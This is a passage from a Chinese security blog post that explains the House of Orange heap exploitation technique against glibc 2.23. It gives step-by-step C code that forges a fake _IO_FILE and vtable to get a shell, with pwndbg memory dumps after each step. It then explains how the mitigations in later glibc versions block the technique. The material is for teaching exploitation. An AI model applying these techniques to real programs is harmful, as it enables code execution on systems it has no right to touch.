0x7ffff7dcd000 0x7ffff7dd1000 r--p 4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dd1000 0x7ffff7dd3000 rw-p 2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dd3000 0x7ffff7dd7000 rw-p 4000 0
0x7ffff7dd7000 0x7ffff7dfd000 r-xp 26000 0 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7fdd000 0x7ffff7fe0000 rw-p 3000 0
0x7ffff7ff7000 0x7ffff7ffa000 r--p 3000 0 [vvar]
0x7ffff7ffa000 0x7ffff7ffc000 r-xp 2000 0 [vdso]
0x7ffff7ffc000 0x7ffff7ffd000 r--p 1000 25000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7ffd000 0x7ffff7ffe000 rw-p 1000 26000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7ffe000 0x7ffff7fff000 rw-p 1000 0
0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack]
0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall]

3 构造_IO_list_all指针

c
io_list_all = top[2] + 0x9a8;

top[3] = io_list_all - 0x10;
Code
pwndbg> x/10xg 0x603400
0x603400: 0x0000000000000000 0x0000000000000be1
0x603410: 0x00007ffff7dd1b78 0x00007ffff7dd2510 fd bk
0x603420: 0x0000000000000000 0x0000000000000000
0x603430: 0x0000000000000000 0x0000000000000000
0x603440: 0x0000000000000000 0x0000000000000000

pwndbg> unsortedbin
unsortedbin
all [corrupted]
FD: 0x603400 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x603400
BK: 0x603400 —▸ 0x7ffff7dd2510 ◂— 0x0

4构造system(/bin/sh),缩小top chunk

c
memcpy( ( char *) top, "/bin/sh\x00", 8);

top[1] = 0x61;
Code
pwndbg> x/10xg 0x603400
0x603400: 0x0068732f6e69622f 0x0000000000000061
0x603410: 0x00007ffff7dd1b78 0x00007ffff7dd2510
0x603420: 0x0000000000000000 0x0000000000000000
0x603430: 0x0000000000000000 0x0000000000000000
0x603440: 0x0000000000000000 0x0000000000000000

5 满足条件 fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base

c
_IO_FILE *fp = (_IO_FILE *) top;

fp->_mode = 0; // top+0xc0

fp->_IO_write_base = (char *) 2; // top+0x20
fp->_IO_write_ptr = (char *) 3; // top+0x28
Code
pwndbg> x/10xg 0x00007ffff7dd2510
0x7ffff7dd2510: 0x0000000000000000 0x0000000000000000
0x7ffff7dd2520 <_IO_list_all>: 0x00007ffff7dd2540 0x0000000000000000
0x7ffff7dd2530: 0x0000000000000000 0x0000000000000000
0x7ffff7dd2540 <_IO_2_1_stderr_>: 0x00000000fbad2887 0x00007ffff7dd25c3
0x7ffff7dd2550 <_IO_2_1_stderr_+16>: 0x00007ffff7dd25c3 0x00007ffff7dd25c3

6 设置跳板指向可控内存

c
size_t *jump_table = &top[12]; // 可控内存
jump_table[3] = (size_t) &winner;
*(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table; // top+0xd8

7 malloc触发利用链

c
malloc(10);
Code
pwndbg> x/10xg 0x00007ffff7dd1b78
0x7ffff7dd1b78 <main_arena+88>: 0x000055555577cc30 0x0000000000000000
0x7ffff7dd1b88 <main_arena+104>: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x7ffff7dd1b98 <main_arena+120>: 0x00007ffff7dd1b88 0x00007ffff7dd1b88
0x7ffff7dd1ba8 <main_arena+136>: 0x00007ffff7dd1b98 0x00007ffff7dd1b98
0x7ffff7dd1bb8 <main_arena+152>: 0x00007ffff7dd1ba8 0x00007ffff7dd1ba8

image.png

利用思路

glibc-2.23之前没有检查,可直接构造假的stdout,触发libc的abort,利用abort中的_IO_flush_all_lockp来达到控制程序流的目的。

glibc-2.23之后增加了_IO_vtable_check

c
/* Perform vtable pointer validation.  If validation fails, terminate
the process. */
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
/* Fast path: The vtable pointer is within the __libc_IO_vtables
section. */
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
const char *ptr = (const char *) vtable;
uintptr_t offset = ptr - __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length))
/* The vtable pointer is not in the expected section. Use the
slow path, which will terminate the process if necessary. */
_IO_vtable_check ();
return vtable;
}

要求vtable必须在__stop___libc_IO_vtables__start___libc_IO_vtables之间,这就意味着不能利用任意地址来充当vtable。可以将vtable指向_IO_str_jumps,将fp0xe8偏移覆盖为system函数,fp0x38偏移覆盖为/bin/sh字符串,就能get shell。

glibc-2.27以及之后的源码中,abort中没有刷新流的操作

c
/* Send signal which possibly calls a user handler.  */
if (stage == 1)
{
/* This stage is special: we must allow repeated calls of
`abort' when a user defined handler for SIGABRT is installed.
This is risky since the `raise' implementation might also
fail but I don't see another possibility. */
int save_stage = stage;

stage = 0;
__libc_lock_unlock_recursive (lock);

raise (SIGABRT);

__libc_lock_lock_recursive (lock);
stage = save_stage + 1;
}

因此不再容易利用。

文章作者: kabeor
文章链接: https://kabeor.github.io/House%20of%20%E7%B3%BB%E5%88%97%E5%A0%86%E6%BC%8F%E6%B4%9E%E8%AF%A6%E8%A7%A3(%E4%B8%80)/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 K's House

评论